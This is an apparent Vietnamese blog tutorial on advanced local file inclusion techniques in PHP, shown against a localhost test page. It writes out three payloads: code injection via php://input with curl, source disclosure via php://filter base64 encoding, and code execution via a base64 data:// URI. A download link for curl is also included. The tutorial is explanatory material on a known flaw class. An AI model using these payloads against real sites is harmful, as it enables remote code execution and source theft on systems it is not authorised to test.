Kỹ thuật LFI nâng cao

<b>Xét 1 file bị lỗi LFI như sau<br /><br />pentest.php<br /><br /><img alt="" border="0" src="http://3.bp.blogspot.com/-isgZ9aijvDU/T2GiFow3hII/AAAAAAAAAQA/aq_QtuxHHJU/s1600/1.png" /><br /><br />[+] Sử dụng php://input<br /><br />-- Yêu cầu :<br />allow_url_fopen=On<br />allow_url_include=On<br /><br />-- Cách khai thác như sau<br /><br /><img alt="" border="0" height="74" src="http://3.bp.blogspot.com/-YASilug45Rs/T2Gi8NnMPZI/AAAAAAAAAQI/rqqhBdGk7Xw/s400/2.png" width="400" /><br /><br /></b><br /><div class="bbcode_container"><b> </b><br /><div class="bbcode_description"><b>Code:</b></div>curl.exe http://localhost/pentest/pentest.php?page=php://input -d "<?php phpinfo();?>" -o C:\curl.html</div><br /><b>[+] Sử dụng php://filter<br /><br />--Dùng để đọc trực tiếp nội dung file php<br />-- Cách khai thác<br /><br /><img alt="" border="0" height="61" src="http://2.bp.blogspot.com/-92oLfXIOu8w/T2GnR0AQn1I/AAAAAAAAAQY/rguu1xv9bqk/s400/4.png" width="400" /><br /><br /></b><br /><div class="bbcode_container"><div class="bbcode_description"><b>Code:</b></div>http://localhost/pentest/pentest.php?page=php://filter/read=convert.base64-encode/resource=pentest.php</div><div class="bbcode_container"><br /></div><b>[+] Sử dụng data URIs<br /><br />-- Yêu cầu<br />allow_url_include=On<br />-- Cách khai thác<br /><br /><img alt="" border="0" height="139" src="http://3.bp.blogspot.com/-tMbOnDi6yjQ/T2GlcNLK1NI/AAAAAAAAAQQ/Q_ZmbQQWQ-o/s400/3.png" width="400" /><br /><br /></b><br /><div class="bbcode_container"><div class="bbcode_description"><b>Code:</b></div>http://localhost/pentest/pentest.php?page=data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==</div><br /><b>Download curl<br /><br /><a href="http://www.mediafire.com/?fiok124cci8d7e4" target="_blank">www.mediafire.com/?fiok124cci8d7e4</a></b>

Kỹ thuật LFI nâng cao

Xét 1 file bị lỗi LFI như sau pentest.php [+] Sử dụng php://input -- Yêu cầu : allow_url_fopen=On allow_url_include=On -- Cách khai thác như...

Read more »